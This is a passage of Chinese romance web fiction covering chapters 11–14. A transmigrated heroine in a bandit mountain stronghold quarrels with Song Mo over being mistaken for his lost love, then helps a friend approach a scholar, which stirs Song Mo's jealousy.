温禾想起食盒是双层的,早上她还装了一碗酸梅汤进来。不过这汤不是她自个儿做的,是张婆婆每日都会熬上一些,供她和宋默避暑喝。
把汤递给覃争义,她有一搭没一搭地问一句:“不会是来招安的人吧?”
覃争义正要灌汤润嘴,闻言顿时变了脸色,气愤地把碗重重搁
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下,琥珀色甜汤溅出不少。
“是哪个混账东西把这事儿跟你说的?”
温禾也没想瞒他,老老实实说:“是姨母。姨母还让我问你招安的事来着,我给忙忘了。”
覃争义如鲠在喉,这何娘子是他妻子的亲姐姐,亦是他女儿的亲姨母。看在过世妻子的份上,他也不好向其发难,只嗫嚅道:“这事你就甭管了。”
“没谈拢?”见覃争义不吭声,温禾用肩膀轻轻撞他,“有啥不能说的,咱们不是一家人吗,还说两家话呢。”
“怎么谈?那态度那条件,是来好好谈的样子吗!”
想到方才那狗官提出的条件,覃争义就火冒三丈,嘴上开始大倒苦水:“那厮说给老子讨个骠骑将军当当……”
他冷笑一声,模仿着狗官拿腔拿调的口气:“覃寨主,这可是皇上给您的殊荣啊,您可要接住咯!”
“他娘的,他要老子做这种背信弃义的事,老子咋可能让兄弟们去充军!”
覃争义赤红着眼,转向温禾,“你听听,这是诚心诚意来招安的?这是要老子亲手把兄弟们往火坑里推!”
温禾眸光一暗,心中已然雪亮。熊虎寨的兄弟们哪个不是因为被战火逼得走投无路才上山的?如今好不容易寻到一块静谧之地,春种秋收,夜不闭户。没道理过了些年的安生日子,又愿意去过朝不保夕的日子。
况且,用全寨老小的性命去换一顶官帽,这等买卖,血本无归。
覃争义做不出来这档子无耻的事。
“爹,咱不投诚。什么骠骑将军,谁稀罕呀。也就听起来威风,实际上还不是要听那些狗官差遣?”
“是,咱不稀罕!有本事他们就攻上山来,老子不怕他们!”
虎牙山易守难攻,地势险要。熊虎寨又借着地利,在险要的关卡处设置了滚木礌石。朝廷那帮酒囊饭袋不熟悉山路,没那么容易上山来。前几年就有官府派了几百精兵上山剿匪,妄想立功劳,结果在山路上折损大半,门都没摸到就灰溜溜退兵了。
温禾倒是不担心届时朝廷真来剿匪,覃争义应付的来。
这一通忙乱,害得她差点忘了来时的目的。
温禾假装无意问道:“嗯……爹,我是不是快要过生辰了?”
覃争义抬眼看了一眼,大掌抄起瓷碗仰面灌上一口,声音闷闷的。
“你这傻孩子,怎么连自己的生辰都忘了?”
温禾心虚时就爱摸鼻子,“是不是呀?这日子过得快,没注意……”
“哪能呢,还要一个月呢。”
“哦……”
还有一个月,那宋默在着急什么?还说有什么没说完的话要跟她说,什么话呀?
“咋了?有什么想要的东西,尽管跟爹说。爹等你生辰那日,给你安排的妥妥贴贴的。”
温禾摇头,这是覃元宝的生辰,不是她的。她已经占据她的身体,怎么好意思再占据她的生辰。她还是得找个机会,和覃争义说清楚,然后跟宋默一起去栖云山。
“我没什么想要的,爹你不用费心。”
11. 【if线】捡狗
叶不归在外游历三个月,捡回来一只小狗崽。
带回花草谷的第一天,她便将那团毛茸茸的小东西丢给了任劳任怨的大师兄,踏上佩剑悬在半空,笑嘻嘻地朝徒儿们挥手再见。
唯有一句。
“千万照顾好小师弟——”
空谷传声。
蒋恒明低头看了眼怀里瑟瑟发抖呜咽不止的狗崽子,与面面相觑的师弟师妹们,叹了一口气。
养三个也是养,养四个也是养。
养吧。
抱着狗走了两步,蒋恒明突然想起:诶?小师妹不就是养鸡养鸭养猪养牛的好手吗?
于是又退回来,一把把狗塞进温禾怀里,郑重道:“小师妹,可千万要照顾好咱们狗师弟。”
说得十分情真意切。
可蒋恒明忘记了一件事。
那就是,小师妹幼年被狗咬过,她怕狗。
尽管小狗崽通体纯黑,仅额上一点状似莲花的白毛,湿漉漉的眼神看着人时,着实可爱。
但还是改变不了温禾怕狗的事实。
不过养狗嘛,跟养鸡鸭猪牛没啥大区别。幸而师弟聪慧,饿了渴了会狗叫,每日按时五顿,顿顿拿盆装。
可一到夜深人静。
小师弟年纪尚小,最是离不开母亲怀抱,嗷呜嗷呜地发出狼崽般的呜咽,凄厉可怜。
温禾蹲在他面前,师弟就闭上嘴,眼巴巴地凑过来,将冰凉的鼻头往她手里拱,一对毛茸茸的耳洞,抖啊抖的。
想要她摸。
温禾念他年幼离家,无奈摸了两下。
小狗崽舒服地眯起眼睛,从鼻腔里发出舒服的叹气,尾巴摇得快要飞起。
摸了好一会,温禾觉着安抚得差不多了,起身回房睡觉。
身后小尾巴爪垫走在地板上,哒哒哒。
她故意停下脚步,那团热乎乎的小毛球便结结实实撞在她小腿上,还顺势打了个滚。
温禾继续
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往前去,他又立马爬起来,迈着小步,哒哒哒。
等到温禾上了床榻,又可怜兮兮地蹲在床榻下眼巴巴望着,小尾巴在地上扫来扫去。
温禾自然是不同意,顺势躺下翻了个身,权当没瞧见。
夜里宁静,小狗崽“呜呜呜”在她耳畔,格外清晰。
她翻了个身,小狗看到她的脸又欢快地摇尾巴。
拍拍床,小狗知道得到了默许,后退两步轻盈一跃,趴下,热乎乎的身体靠在温禾边上,跟着呼吸一动一动的。
温禾对他额上的莲纹好奇,忍不住拿手指戳戳。
谁知狗嘴突然一张,嗷呜一口。
轻轻咬她的手指。
“啊——”
“大师兄,狗咬人啦——”
翌日,眼下挂着两个乌青眼圈的蒋恒明翻遍古籍,得出结论:《灵兽志异》有载,幼犬轻咬,实乃示爱之礼。
温禾:“所以,小师弟是在说……喜欢我?”
12. 替身
磅礴夏雨缠绵了两日,总算在第三日,开云见日,天朗气清。
宋默是耐得住的性子,只需几本拗口晦涩的书册便能打发度日。可温禾不是,手里的话本翻了几遍就失去兴趣,坐在檐下托着下巴看天看地看蚂蚁搬家,偶或苦苦哀求老天放晴。
可算是被她盼到了。
背着竹篓,提着小木桶,挎着一根钓鱼竿找鱼去。临出门前,宋默还真像个在盼妻归家的丈夫,百般叮嘱:山里陷阱众多,千万要当心脚下。与同去的伙伴要形影不离,切勿一个人到处乱走。钓鱼可以,但不要下水游玩,万一水中有暗流,那是要人命的。
温禾当面时点头说好好好。
背后却是撒开丫子,丢了鱼竿就下水捞鱼。她钓鱼技术不行,那钩上放再肥再鲜的鱼饵,那也是姜太公钓鱼,愿者上钩。
还是下水徒手抓鱼要省事的多。
与同行的人玩到日暮时分,天色将晚,温禾估摸着宋默应该做好了晚饭,便收摊往家中赶。
自从宋默身体大好后,家中活计都由他自愿包揽,给的理由是:既然在此长住,断没有白占人便宜的道理。
温禾想想也对,况且他做饭比张婆婆要好味的多,也就高兴应下了。
少女身形轻巧,从石子路上蹦跳而过,心情颇好地边哼小曲儿边踹路边的石头。石子外形圆润,骨碌碌咚的一声滚进水中,泛起层层涟漪。
今日收获不少,满满一桶的鱼。她运气好,还捞着了一条格外肥美鲜活的鳜鱼,回家路上就计划着,这鳜鱼得做成醋溜的,酸甜可口,定是开胃。
想到宋默的好厨艺,不禁莞尔。
暮色四合,兔起乌沉。
庭院深深,不见少年如往常提灯倚在廊下。
温禾觉得稀奇,抱起木桶,把鱼安置在小厨房。后里里外外找了两遍,不见人影,心里隐隐约约有个猜想。
丫的,这厮不会是自个儿跑了吧?
张婆婆年纪大了,常常犯懒。家务又都被宋默捞去,闲来无事,就爱窝在榻上浅睡。睡得正酣,便听少女火急火燎地小跑闯进门来。
“婆婆,宋默人呢?”
张婆婆懒懒挥手:“下山去了。”
“下山?他一个人下的山么,有没有人跟着他一起?”
张婆婆还未来得及回答,来人嗓音清润,如玉子落棋盘,从外头跨门而入,眸子如一泓清泉清冽澄澈,浅笑晏晏地望着温禾回问:“你是在担心我么?”
温禾有些尴尬,转移目光落在他手中提着的大包小袋。
宋默听她如此关心自己,心情意外舒爽,不自觉地柔声解释:“听闻李叔要下山采买,我正好也有些东西要添置,便一同跟着去了我一路上都跟着李叔他们,没有乱跑,也没有和外人搭话,不必忧心。”
温禾眼睛扑闪,长长的睫毛在夕阳下投下细碎的阴影,不懂他为何要这般仔细解释,干巴巴地回道:“要买什么东西,让采买的人去就行了。何必要自己白费一趟功夫?”
少年闻言,不动声色地将藏在身后的包袱往里收了收,眼角眉梢都染上笑意:“不麻烦的,为你跑这一趟,值得。”
温禾只当他是拿人手短,吃人嘴软。想到厨房的活蹦乱跳的鱼,兴致勃勃地问晚上吃什么,她今日钓了几条大鱼,可以做个全鱼宴,不过她最最想吃的还是醋溜鳜鱼。
张婆婆身子惫懒,让两个孩子自己吃,她还想再小憩片刻,不必喊她。
温禾背手跳到少年面前,倒着走路。
他进一步,她就退一步。
“宋默,你会不会做醋溜鳜鱼呀?”少女仰着脸,杏眼里盛满期待,撒娇似的拖长了尾音,“做一份给我尝尝,好不好?”
夏季的晚风拂过,轻轻吹起她束在辫子上的丝绦,宛如少女柔软的手轻抚过他的脸。
“好。”宋默喉结微动,“晚上下面条吃,好么?”
温禾自然满口答应。
“玩了一天了,你先回屋歇着。”
宋默从怀中取出一个油纸包,“给你带的。”
那包裹别致,温禾只消两眼便认出来是出自山下那家很是有名气的糕点铺子,笑盈盈地抱在怀里,“你怎么知道我最爱吃这加了薄荷的绿豆糕!”
“我会做得快些,别吃太多,留着肚子吃面。”
“知道啦!”
厨房里。
宋默从水中捞起鳜鱼,鱼很新鲜,在砧板上拼命挣扎。他指节抵住鱼鳃,刀刃斜切入鳃盖与鱼身的缝隙,轻轻一挑,手法娴熟地便将鱼头和鱼身轻易分离。
漫不经心地擦拭掉刀刃上的血珠,鱼在油锅里翻滚,炸至金黄酥脆的外壳。
最后淋上经过调味的料汁。
他想起温禾喜欢吃甜食,又从柜子里找出桂花酱,加了点进去。
温禾吃了两块绿豆糕,闻见香味,帮着把菜端上桌。
晚上只有他们两个人,所以只下了两碗面,一盘温禾想吃的醋溜鳜鱼。
温禾在桌边坐下,接过宋默递过来的筷子,发现两碗面里,唯有她面前的那一碗面多加了一颗荷包蛋。
少年忙活的额上都是汗,温禾过意不去一个人独享,用筷子把鸡蛋夹成两半,你一半,我一半。
宋默按住她手腕,出声制止:“别分。”
“嗯?一人一半,正正好呀。”
“这样,就不圆满了。”宋默看着已经被夹破的鸡蛋,隐隐有些沮丧。
“什么圆满不圆满的,就一颗蛋,不至于吧?”
温禾疑惑,踌躇片刻还是把半颗鸡蛋放在宋默碗里。
嗦了两口面,“今日怎么吃的是长寿面,是谁的生辰么?”
想到原因,温禾恍然大悟道:“是你的?”
“不是。”
宋默背对着她,从今日采买的包裹里拿出香包和一根木簪,珍重地握在手心。
把手放在温禾眼前,掌心摊开,“生辰快乐。”
长寿面条又细又长,温禾嗦不动,干脆中途咬断,从热乎乎的热汤气里抬起头。雾气氤氲中,眉头微微皱起,眸中带着明显的困惑。
“我生辰在下个月呢,你记错了吧?”
“不会错,就是今日。”
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温禾笑笑:“怎么会呢,我爹还说下个月要给我办一场大的生辰宴。怎么会是今天,肯定是你记错了。”
见宋默如此正经,还故意调笑道:“你可别耍赖啊!记错了就是记错了,上回还信誓旦旦说什么,等你生辰那日,有话还有东西要给你。东西我就收下了。话呢?”
说罢,她拿走香包和木簪在手上把玩。
香包针脚歪斜,显然出自生手。相比较起来,那根木簪做得漂亮,上头还雕刻了一只栩栩如生的兔子。
温禾没怎么见过这种样式的簪子,“你亲手做的呀?”
烛火明灭,少年的脸隐隐绰绰,那碎琼乱玉,恍若谪仙的面容看不大真切。
沉默良久,他问:“你当真什么都不记得了吗?”
“我应该记得什么?”
“今日确是你的生辰,幼兰。”
“幼兰。”温禾心里一跳,“是谁?”
“是你。”
宋默声音发紧。
“你本名应幼兰,家住江州,十五岁那年父母双亡,远走他乡,前往京城投奔表亲。”
最后一句话,宋默似乎难以启齿,他顿了顿,声线里压抑着愤恨的颤抖,咬牙道:“你与那家的嫡子……曾有过婚约。”
“你又犯什么毛病?”
温禾联想起宋默总会看着她入神,眼里却空无一人,心里不知为何有些酸胀,声音渐冷。
“我不认识什么应幼兰,我是覃元宝。所以,你一直把我当作她,你喜欢的那个人,才对我这么好的,是吗?”
牖窗之外,雷鸣大作,紫色闪电一瞬攀爬天际,雨点劈里啪啦砸向窗棂。淅淅沥沥又下起一场暴雨,搅得空气沉闷,燥意难忍。
温禾仰起头静静看着他,少年如半枯的树干缄默,僵立,摇摇欲坠。
良久,他才艰难开口:“你会想起来的,你就是她,她就是你。”
温禾气笑了,一把推开他。
她还不至于蠢到连自己是谁都不记得的程度,一想到这半月来他与她之间奇怪的情愫,都是因为他那位故人。
她心里发闷。
有种太监逛青楼,里头的老鸨见到你热情相迎,但是看到你是个根正苗红的太监之后,甩脸把你赶出来的那种。
无力感。
面条在交谈间早已冷却,发胀般结成一团,看着就令人倒胃口。
温禾扯出笑脸,看着少年素净淡薄的脸,语气认真地叫了一声。
“宋默。”
“嗯。”
“我去你大爷。”
话音刚落,气势汹汹地推开少年,行至床边,扛起自己的枕头,然后把床上仅有的一条被子抱走。
呸,冻死你个糟心玩意儿。
经过宋默身边时,又想起来那香包和木簪放在还收进怀里了,停下掏出来,重重怼在对方心口。
“还给你,谁稀罕做别人的替身!”
宋默慌张接住。
他一向寡言,也不太会应对女孩子的情绪,素来沉静的声音里带着罕见的慌乱,讷讷开口:“你……还回来吗?”
13. 吃醋
温禾抱着被褥,穿过回廊,她原本打算和张婆婆挤一晚,可走到半路又停下脚步,咬着唇恨恨地回头瞪了一眼:“不回来,死都不回来!”
可一炷香后,她还是回来了。
虎牙山夜凉如水,宋默身着雪白薄衫,抱膝坐在门槛边,下巴抵在膝盖上,痴愣愣地望着远处发呆。他的眼神空落落的,整个人看上去破碎又凄惨。明明这段时日养胖了些,可看着却比初见时还要单薄。前几天张婆婆为他新做的夏衣似乎宽大了些,风轻过,衣摆轻轻飘动,显得人愈发伶仃。
听见脚步声,猛地抬头,浓密的睫毛似因风动,颤动着露出几分欣喜。
温禾忽视他瞬间炽热的眼神,别开脸,硬着心肠从他身旁擦过,径直进屋铺床,翻身躺下,背对着门。
张婆婆的话在耳畔若有若无地回响:年少夫妻,哪有不拌嘴的?默哥儿对你如何,阿婆都看在眼里心里。你说默哥儿心里有别人,阿婆不晓得他过去的事,但人总是要往前看的是不?咱们可以等,等他心里真真正正只有你,再也容纳不下其他人,来日方长。况且,俗话都说夫妻床头吵架床尾和,莫让隔夜仇伤了夫妻情分。
可她还是气恼,但又不知道气的什么名堂。是因为那个早逝的白月光横亘在他们俩之间,还是气自己竟然真的起心动念。
越想越烦,温禾翻了个身,目光不由自主地落在门口。
月色之下,宋默的背影更显孤寂。
温禾突然觉得他像只无家可归的狗,可怜巴巴地等在原地,等待一个不会回来的人。
只可惜,她不是他的主人。
宋默在门前呆坐了许久,直到夜露浸透衣衫,指尖微微发凉,才迟缓地站起身。他扶着门框,膝盖因久坐而僵硬,缓了好一会儿,才慢慢走到床榻边。
他垂着眼,只伸手拿了自己的枕头,转身寻了处墙角,沉默地躺下。
地板又冷又硬,硌得骨头生疼,他却像是感觉不到似的,只侧身蜷缩着。然山间湿寒,冷风偷偷灌进来,少年身躯忍不住瑟缩。
温禾全都看在眼里。
她心里堵着一口气,上不去也下不来,憋得胸口发闷。见他这样刻意避开她,连睡都要离得远远的,那股无名火更盛。
他喜欢那位,所以把她当成替身时就能心安理得地同塌而眠。戳破以后,就连靠近都不愿意了?
活该,冻死他得了!
温禾愤愤地背过身,扯过被子蒙住头,强迫自己阖眼入眠。可没过一会,她又猛地掀开被子坐起来,松松套上鞋,径直往墙根去。
“起来,去床上睡。”
没有回应。
少年仍旧蜷缩在角落,背对着她,安静地像一尊石雕,只有脊背随着呼吸轻轻起伏,证明他还醒着。
“喂。”
“跟你说话呢。”
她加重了语气,不免染上几分恼怒。脚尖不耐烦地蹭了蹭地面,见宋默还是不动,终于忍不住抬脚,鞋尖抵上他的脊背,不轻不重地顶了两下。
力道不重,像只闹脾气的小猫,明明生气想挠人,又怕伤人而收着爪子。
宋默总算动了。
他撩开鸦羽般的眼睫,转身,骨节分明的手精准制住少女乱踢的鞋尖。
屋内的烛火早一步熄灭,唯有清冷的月色透过窗棂斜斜洒落,将那张冷白如玉,清雅绝尘的脸变得迷离徜恍。喉结上下轻滚,目光单纯天真,却隐隐露出狡黠的狐狸尾巴。
宋默支起身子,握着她的鞋尖,指尖若有若无地摩挲,既像禁锢,又似无声的祈求。仰头望向她时,恍若窥见神女,虔诚又克制。
可这姿势着实轻佻暧昧。
温禾呼吸滞涩,下意识想抽回来,却被更用力地扣住。
“松手。”
“我叫你松开。”
她低声警告,宋默充耳未闻,只是抬眼看她时,眸色深的惊人。
“那你先松脚。”
少年嗓音低哑,夜色侵袭,无端把一身白染成一身黑,带着几分撩人的蛊惑,狐狸尾巴大胆地试探道:“你踩着我,我该怎么起来?”
明明还是那副清风霁月的样子,温禾却从那微抿的唇角读出些许阴谋的味道,像是雪地里蛰伏的狼,伪装成良善的狗,伺机而动。
装可怜,博同情,再夺取主权。
谁是猎手,谁是猎物,此刻已然分明。
“我腿酸了。”足尖在他掌心轻撞,“放不放开?”
宋默眸光一暗,这才慢条斯理地将她的脚带回地面。
四目相对的瞬间,时间凝滞,相顾无言。
直到耳朵尖染上烫意,温禾先败下阵来。仓皇转身,缩进床榻里侧,故意把外头那侧空出好大一片位置。
窸窣声响起,身侧床褥微微下陷。
熟悉的桂花香混着夜里潮湿漫过来,温禾鼻子痒痒的,合上眼心想下回得让宋默换个味道的,实在是太香了。
两人并肩躺着,方才的暧昧从接触的肌肤上流连,谁都没有睡意,只是阖眼假寐。纱帐里只余下清清浅浅的呼吸声,和彼此压抑的心跳。
“真的……不是么?”
宋默的声音突然划破宁静,像一滴墨落入白水里,在其间缓缓晕开。他的声音里带着几分小心翼翼,又有几分说不清道不明的期待。
脸上的热意慢慢退却,心上泛起酸涩。温禾听懂了这句没头没尾的话,却不明白他为什么如此执着,她到底是谁。
良久,她才轻声开口:“那……你希望我是谁呢?”
这句话在唇齿间辗转,最后化作一声叹息。
不管是他念念不忘的应幼兰,还是没心没肺的覃元宝,那都不是她。
她是来自百年之后的人。
是原本不会与他产生交集的一个人。
宋默没有回答,他侧过身,看着少女在夜色朦胧里仍旧明媚的侧脸。
他给不出这个问题的答案。
在他心里,她、她们都是同一个人。
因为她曾许诺:“天上地下,碧落黄泉……我都会一直陪着你。”
*
翌日,晨光熹微。
昨夜翻来覆去一晚上,温禾想明白了。
她是谁根本不重要,重要的是让宋默动心。管他是把她当作应幼兰还是覃元宝,只要能让他长出血肉心,她的任务就算完成了。
到时候,一拍两散,各不相干。
温禾正想着,宋默先她一步起来,墨发松散,从梳妆台上抽出一根白色发带绑上,察觉到温禾也醒了,装作无事发生,问她:“早上想吃什么?”
“不用了,我跟小雀儿约好今日下山逛逛。”
宋默系发带的动作顿了顿,指尖在发尾缠绕了两圈才松开。
“哦。”他应了一声,不咸不淡的,“吃了再走吧,喝粥和葱饼么?”
“不饿。”
少女从床榻上爬起,顶着一头乱糟糟,揉揉发昏的脑袋,抓起衣服就往门外走,连个正眼都没给他。
“晚饭呢?”宋默的声音从身后追来。
“不回来。”
手上的发带梆了几回都没绑上,白绸从指间滑落。他盯着地上的发带看了许久,眸色愈发暗沉,连带着整个人都笼在一层说不清道不明的阴郁里。
这边温禾刚梳洗完,推开房门就瞧见李雀儿正站在院里的梨树下等她。小姑娘穿着鹅黄色的襦裙,发间簪着几朵新摘的野花,正百无聊赖地用脚尖踢着地上的石子。
李雀儿是原身覃元宝从小玩到大的手帕交。说来好笑,温禾刚穿来时竟没认出这位青梅竹马,惹得小姑娘当场红了眼眶,跺着脚说“元宝姐姐好生没良心,连雀儿都不记得了”,扭头就要走。温禾好说歹说,又是赔笑又是哄骗,最后赌咒发誓说方才是在逗她玩,这才把人哄回来。
“元宝!”李雀儿一见她,三步并作两步蹦过来挽住她的胳膊,“快些快些,听说镇上来了个西域的货郎,带了好多新奇玩意儿,咱们快去瞧瞧!”
说着就拽着温禾往外跑。
两个小姑娘出行,覃争义安排了一辆马车和两个功夫不错的弟兄护送。
这是温禾穿越以来第一次下山逛集市。马车沿着蜿蜒的山路缓缓而行,窗外的景色渐渐从苍翠山林变成了开阔的田野。
李雀儿年纪比她小两岁,两个月前刚及笄,性子直冲冲的,一路上兴奋地趴在车窗上到处指给温禾看。温禾被她的热情感染,心上松快许多。
一下马车,李雀儿就迫不及待地拉着温禾往人堆里钻,两个小姑娘像出笼的小鸟,在熙熙攘攘的集市上东瞧瞧西看看。
“元宝。”李雀儿举起一支雕花木簪在她眼前晃,“这支不错,你要不要试试?”
温禾瞧了两眼,摇头。她对这些没什么兴趣,此次下山来,也是为了选些礼物送给覃争义、张婆婆,还有……
目光扫过摊位,她仔细挑选着礼物。给覃争义选的是一双护臂,她这便宜爹习武勤耕不辍,有这个多少起到保护作用。给张婆婆的是两匹柔软的棉布,正好入秋时能做几件新衣裳。
至于宋默。
温禾指着摊子上那一方成色不错的砚台,通体漆黑,边缘雕着简洁的云
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纹,清微淡远,倒是适合他。
想到他生辰将至,温禾轻叹一声,还是让摊主包了起来。
李雀儿不知打哪儿冒出来,“这是给谁的呀?”
温禾笑着伸手刮了下她的鼻梁:“你又不爱念书,自然不是给你的。”
“哦~”李雀儿突然拖长了音调,凑近温禾耳边压低声音道:“我知道了!是给你家那位小白面郎君的~”
她故意把“你家”两个字咬得极重,还促狭地眨了眨眼。
“什么呀你,不要胡说八道!”温禾耳根一热,作势要拧她的嘴。
“我哪儿胡说啦!”李雀儿灵活地躲开,顺手从旁边的糖葫芦摊上摘了一根,嘟囔道:“我还想找个小白脸呢,可我爹娘净给我相看些五大三粗的。”
她撇撇嘴,夸张比划:“上回那个,胳膊比我大腿还粗。我爹娘见了可高兴了,说男人就得这样,干活有劲!”
温禾接过店家仔细打包好的礼盒,闻言不禁莞尔。她知道李雀儿最近为这事没少烦恼,便温声劝道:“不若再等等,婚姻大事急不得。说不准过两日就碰着喜欢的了。”
“诶,要我说,你家默哥儿确实是十里八乡最俊的了。”她掰着手指数道:“眉如剑,眼如星,连手指都比姑娘家还好看。难怪覃叔从来不劫色,也要把他抢回来。”
“我爹咋这么没品位呢?”
这话说的夸张,脑子里却不禁回想起每日清晨醒来,映入眼帘的那张睡颜。长睫如月弯如钩,薄唇微抿,连睡梦中都带着几分清冷。
算了。
李雀儿这话倒也不算夸张。宋默的皮相,当真是极好的。
温禾正欲转身再逛逛,却发觉身旁的小姑娘突然没了声响。转头一看,只见李雀儿呆立在原地,一双圆眼直勾勾地望着前方某处,连手中咬了一半的糖葫芦都忘了继续吃。
顺着她的视线望去,但见一位身着翠青长衫的青年正在街角支着画摊。那人眉目如画,执笔的手骨节分明,正含笑为围观的姑娘们讲解画作,端得是温润如玉的青年才俊。
温禾拉着李雀儿的手,“走啊,喜欢就看看,看看又不要钱。”
李雀儿却站着,脚下生根,一张俏脸涨得通红:“不、不了吧……我我我……”
说话磕磕绊绊的,饶是温禾愚笨,也看得出来她是春心萌动了。
“那我帮你去问问?”温禾打趣道:“问问这位郎君可曾娶亲,有无心上人,要不要见见咱们虎牙山最可爱的李雀儿姑娘?”
“哎呀!”
李雀儿羞得直跺脚,一把捂住温禾的嘴,“不许说!”
温禾眨几下眼睛,李雀儿被她看得羞臊,终于败下阵来,松开手,低着头小声嘟囔:“那……那你去问问嘛。”
“好。”温禾弯眸一笑,从李雀儿袖中抽出绣着“李“字的绣帕,帕角还绣着一只小雀纹样。她捏着帕子,让李雀儿在原地等着,自己则径直朝画摊走去。
摊前围了不少姑娘,却都只敢远远瞧着,没人敢上前搭话。温禾大大方方地拨开人群,站到书生面前,笑吟吟地问:“郎君可曾娶亲?”
摊前的姑娘们都为书生而来,却无一人敢大胆表露心迹,听温禾问出心里都想问的话,俱是竖起耳朵认真听。
读书人含蓄,被温禾问得耳朵一红,“在下……在下,未曾……”
“没有啊。”温禾追问道:“那有没有心上人呢?”
“也,也未曾……”
温禾“哦”了一声,没有啊,那好办了。
她把绣着“李”字,上面画着鸟雀的绣帕放在书生的画案上,指着李雀儿在的方向,压低声音道:“我们家小姐说,明日未时想与郎君在山下清心亭一叙。”
说罢,挤开人群走出去。
临了还高声叮嘱了一句:“郎君可千万要记得啊!”
温禾没有注意到,不远处,一道阴郁的目光正死死盯着她。
某个角落,少年站在阴影里,脸色阴雨绵绵。修长的手指在袖中攥得发白,青筋隐隐浮现。
他看着温禾对那书生笑,看着她将绣帕递过去,看着她低声细语地说着什么……
他比他要好看么?所以她想换个夫君了?
“呵……”墙砖在指下碎裂,碎石混着血沫簌簌落下,那双总是含霜带雪的眸子此刻黑沉得吓人。
原来她下山,是为这个。
宋默垂下眼帘,浓睫掩住猩红的眸色。碎发扫过眼皮上那颗朱砂痣,恍若一滴将落未落的血泪。
好想……想把那人的头拧下来,要她再也看不见任何人。
14.表白
温禾与李雀儿玩到戌时才归家。
夜色如墨,悄然爬过虎牙山的每一道山脊。这里的星星格外明亮,仿佛伸手便可摘星辰。山风微拂,带着夏夜的清凉,将星辉也吹得摇晃。
李雀儿站在屋外朝温禾挥手,约定好过几日,二人再一起出来玩。少女活泼可爱,带着些初生牛犊不怕虎的稚气,娇娇地轻哼:“到时候,我定拿下那书生,让他见识见识我的厉害!”
温禾笑着点头,站在门口嘱咐道:“夜路湿滑,路上当心些。”
目送李雀儿的身影渐融于夜色,直到那抹灿烂的鹅黄色消失在眼中,温禾才转身回屋。
屋内只着一盏灯。
少年背对门口,正低头收拾着什么,动作慢腾腾的,却又不想令人察觉,刻意放轻了声响。
温禾站在门口,发觉他换上了被掳上山前,初遇那日的粗布衣服。衣裳本就破旧,许是有不少年头,穿在他身上,极不合身。少年长得快,这段时日身量又长了些许,如今更显局促。衣袖短了一截,露出清瘦的手腕。裤脚也高高吊起,衬得他身形更加单薄倔强。
火苗在灯芯上轻轻摇晃,将他的影子打在墙上,如同一株拼命向上的青竹,不合时宜的固执。
似听到她进门的脚步声,宋默手上的动作微微一顿,但很快又继续折叠手里的衣物。
温禾将买的礼物盒子一概放在桌上,心想着晚些整理,看见宋默收拾行李的动作,她本想说些什么,最终还是没吭声。
她今天走了太多路,小腿酸胀得厉害,几乎站不住,扶着床沿缓缓坐下。
沉默如同一张无形的网,将两人隔开,却又将彼此的心跳无限扩大。
宋默一直整理得很慢,他故意拖延着时间,将一件本可以迅速完成的事,拖得漫长而煎熬。他试图将时间拉长,给她更多的时间。
他在等她开口。
可是,沉默比话语更张扬。
她只是坐在床边,安静地看着他收拾。
她的沉默,分明已经告诉了他答案。
指尖深深陷入包袱的布料里,心里的潮湿几乎足以将他溺毙。宋默深吸一口气,想把那股酸涩压下去,然而越是用力,情绪越是翻涌。
他咬着牙给包袱打上结,挎包往外走。
“你要走了吗?”
“你为什么不阻拦我?”宋默几乎是同时开口,嗓音低哑,带着几分压抑的怒气和委屈。
话音落下,二人皆是一怔。
“那我说,不想你走,你就不走了吗?”
宋默的脚已经跨过门槛,闻言硬生生收了回来。他眉头微蹙,眼中似有暗火跳动,半是埋怨半是执拗道:“你不试试,如何知晓?”
温禾也不晓得这人今日又是犯什么毛病,总归还是先把人留住再说。
于是她好声好气地劝:“那我希望你不要走,留下来,好不好?”
“好,我不走。”宋默几乎是立刻应下,顺手将包袱往地上一撂。
他嘴角微微上扬,眼里情绪复杂:“只是可惜,我不走,那外头的人也别想进来。”
“?”
温禾听得一头雾水,眨了眨眼,"什么外头的人?"
她指了指敞开的大门:“这门又没落锁,想进来就进来呗。”
“你……”
对牛弹琴。
宋默被她这副全然不知的模样气得喉头一哽,指节不自觉地收紧,发出"咔"的轻响。他深吸一口气,阴恻恻道:“呀,看来那书生也没什么本事么?”
话一出口,他便后悔得恨不得咬断自己的舌头。
自己这副模样像什么?她会不会觉得自己是个拈酸吃醋的怨夫,然后相比起来,更加喜欢那个不要脸的书生。
温禾先是一愣,书生?
随即恍然大悟,画摊上那个作画的书生啊。她狐疑地看了眼别过头去生闷气的某人。
他不是不喜欢出门么?他今日难道也下山了?还正巧碰见她跟书生说话了?
“你怎么不说话?”
温禾把那句“你不会一直在跟踪我吧”憋下去,眼底浮现笑意,故意歪着头,装作认真思考的模样,拖长音调:“哦——你说的是……画摊上那个作画的江公子?他可厉害了,又会作画又会写诗,人长得也端正俊秀,真是个大才子。”
呵,才子。
明明是花孔雀一只。
宋默一时间语塞,半晌才从牙缝里挤出两个字:“哦,才子。”
说得心不甘情不愿。
他脸上表情淡淡的,依旧维持着平静,像一张柔白的宣纸。温禾却从这张白纸上硬是看出几点红梅尽染:“你好像很不高兴?”
宋默懒懒抬眼:“没有,我挺高兴的。”
“真的?”温禾起身,裙裾轻旋,在他身边转了个圈,施施然落座桌边,继续添油加醋道:“江公子人确实挺好的,说话又和气,人也和善,姑娘们都挺喜欢他。你是没瞧见,今日他的画摊前围了多少姑娘。听说连知府家的小姐都特意差人去买他的画呢!”
她托着腮,眼神飘得远远的:“那样温润的公子,也难怪……”
那副模样,看着是心猿意马,魂都要飞到别人身上去了。
宋默给自己倒了一杯茶,还没递到嘴边,就听“啪”的一声脆响,茶盏不堪重负,裂开一道细缝,温热的茶水顺着指缝滴落。
茶水落了满身,宋默只死死盯着桌角,“难怪?”
温禾这才装作惊慌地“哎呀”一声,连忙凑上去。她小心翼翼地掰开他的手指,将碎裂的杯盏残渣一一取出。又从怀里掏出帕子,执起他的手细细擦拭。
她忍不住轻笑道:“怎么了这是?喝个茶也忒不小心了。”
宋默猛地抽回手,转身就要去捡地上的包袱。
温禾眼疾手快地拉住他的衣袖,声音里尽是藏不住的笑意:“怎么都不听人把话说完?”
她把绣帕在他眼前晃了晃,不由分说地抓过他的手,一根一根手指仔细擦净。少年指尖冰凉,被她温热的掌心包裹,慢慢回暖。
“松手。”
“不松。”
“……”
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僵持间,温禾忽然莞尔:“我说,江公子这般好。”她故意停顿,等着手心里的指尖僵硬,继而开口。
“难怪小雀儿一眼就看中了他。”
宋默眉头微蹙:“小雀儿?”
